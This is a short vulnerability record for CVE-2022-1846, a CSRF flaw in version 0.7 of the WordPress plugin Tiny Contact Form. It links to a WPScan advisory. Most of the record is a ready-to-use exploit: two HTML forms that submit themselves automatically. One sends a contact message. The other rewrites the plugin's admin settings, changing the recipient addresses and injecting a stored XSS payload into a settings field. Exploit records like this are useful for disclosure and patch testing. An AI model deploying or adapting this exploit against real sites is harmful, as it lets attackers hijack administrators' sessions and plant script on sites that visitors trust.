CVE: CVE-2022-1846

Name: Tiny Contact Form (tiny-contact-form)

Version: 0.7

Date: 2022-04-24 12:15:31

Advisory: https://wpscan.com/vulnerability/5fa5838e-4843-4d9c-9884-e3ebbf56fc6a

Type: CSRF

Exploit: 


<form action="https://example.com/ttttest/#tcform" method="POST">
    <input type="text" name="tcf_name" value="">
    <input type="text" name="tcf_sendit" value="1">
    <input type="text" name="tcf_sender" value="aa">
    <input type="text" name="tcf_email" value="aa@example.com">
    <input type="text" name="tcf_subject" value="bb">
    <input type="text" name="tcf_msg" value="bb">
    <input type="text" name="submit" value="">
</form>
<script>
    HTMLFormElement.prototype.submit.call(
        document.forms[0]
    );
</script>


<form action="https://example.com/wp-admin/options-general.php?page=tiny-contact-form" method="POST">
    <input type="text" name="tcf_to_email" value="hacked">
    <input type="text" name="tcf_from_email" value="hacked">
    <input type="text" name="tcf_msg_ok" value="">
    <input type="text" name="tcf_msg_err" value="">
    <input type="text" name="tcf_submit" value='"><img src=x onerror=alert(1)>'>
    <input type="text" name="tcf_subpre" value="">
    <input type="text" name="tcf_field_1" value="">
    <input type="text" name="tcf_field_2" value="">
    <input type="text" name="tcf_field_3" value="">
    <input type="text" name="tcf_field_4" value="">
    <input type="text" name="tcf_field_5" value="">
    <input type="text" name="tcf_captcha_label" value="">
    <input type="text" name="tcf_captcha2_question" value="">
    <input type="text" name="tcf_captcha2_answer" value="">
    <input type="text" name="tcf_css" value="">
    <input type="text" name="tcf_save" value="Änderungen speichern">
</form>
<script>
    document.forms[0].submit();
</script>